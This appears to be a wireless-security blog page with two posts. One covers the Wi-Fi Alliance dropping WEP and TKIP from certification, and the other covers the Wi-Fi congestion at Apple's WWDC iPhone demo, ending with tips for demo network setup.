Until then, be aware to be secure...

WEP, TKIP Declared Out…

If the fast spreading news on the Internet is to be believed, Wi-Fi alliance has decided to drop off WEP and TKIP encryption techniques from its certification criteria.

WEP was the only encryption techniques mentioned in the original IEEE 802.11 standard. Some flaws in the WEP encryption algorithm were discovered just after two years of release of WiFi standard and it was cracked in 2001. Since then several attacks on WEP have been published e.g. FMS attack, Korek attack, chop-chop attack, fragmentation attack, Aircrack-PTW attack, Caffe Latte attack etc.

TKIP was an enhancement over WEP. It was an attempt to provide better security to legacy WEP encryption capable devices and hence same RC4 technique with some modification was used in TKIP. The first and only attack on TKIP was published by Martin Beck and Erik Tews in 2008, five years after the release of TKIP specification for WiFi encryption. The attack was about injection of few small sized frames in the client to cause some disruption. It was not a key retrieving attack and unlike WEP, data privacy was guaranteed in TKIP.

The migration towards only-AES encryption mode will be done in stages over three years starting from 2011. From 2011, WiFi alliance will stop certifying APs with WEP or TKIP configuration. In 2012, wireless client devices will be axed for their support for WEP or TKIP. Starting from 2014, new WiFi devices which support only AES encryption will be certified. These requirements must be easily satisfied by device vendors by masking the disallowed encryption techniques just by applying software patch on the newly manufactured devices and if it happens, this will be a great move towards much needed secured wireless world.

A very interesting observation to note here is that the default configuration of most out of the box access points is “Open” which is a much bigger evil than WEP or TKIP. If a wireless LAN is operating in open mode all types of wireless attacks are possible e.g. data snooping, impersonation, unauthorized access to the network etc. The ideal move would be to support only one configuration in the Access Point and Client with the AES encryption as per the IEEE 802.11i and the IEEE 802.11w standard.

In short, the good (TKIP) and the bad (WEP) has been declared out but the ugly (Open configuration) will be continued to play!

Lessons from Apple’s WWDC Fiasco

If you haven’t heard about it, here is the condensed version of what happened on the opening day of iPhone 4G. The information has been gathered from various stories released on the Internet but the essence of all is same.

“Steve Job was trying to show the screen resolution and speed of the device by accessing a web portal that’s where the mishap happened. A completely saturated 2.4 GHz spectrum couldn’t distinguish between Steve’s new iPhone and hundreds of WiFi clients active at that location and hence the iPhone 4G was starved from getting wireless service.”

You may compare this scenario with a very heavily congested road. No matter what model or speed of the car is, one can not drive faster than the average speed of the traffic.

Could this have been avoided?

I am astonished to see every body (whether it’s WLAN infrastructure vendor or else) making claim that if Apple had used their solution or service, the problem would have never arisen. The way Ferrari can’t solve the very basic problem of congestion likewise iPhone 4G can’t solve the saturated link problem.

I have yet to see a solution which can accommodate hundreds of WiFi client devices or save 2.4 GHz from being saturated in the similar situation.

Yes there are solutions which could have raised alert on seeing too many devices operating in 2.4GHz band. Kudos to great Steve Job, he realized this very soon and requested his audiences to shutoff their WiFi warriors and saved his iPhone 4G demo!

If you are going to make such a crucial demo and planning to use WiFi you are bound to face the similar fiasco until you learn the lessons from Apple.


1. You ensure that there are not too many WiFi devices are operating in 2.4 GHz band. Its better to ask audience to switch of WiFi in the beginning.
2. If your device supports 5GHz band, better you use one channel in 5Ghz band
3. Always use security (WPA or WPA2 ) on your AP so that others can not connect to your device
4. Your demo environment should be free from Wireless DoS or jamming or at least it should be detectable
5. Have a WiFi expert not sales expert setup the WiFi infrastructure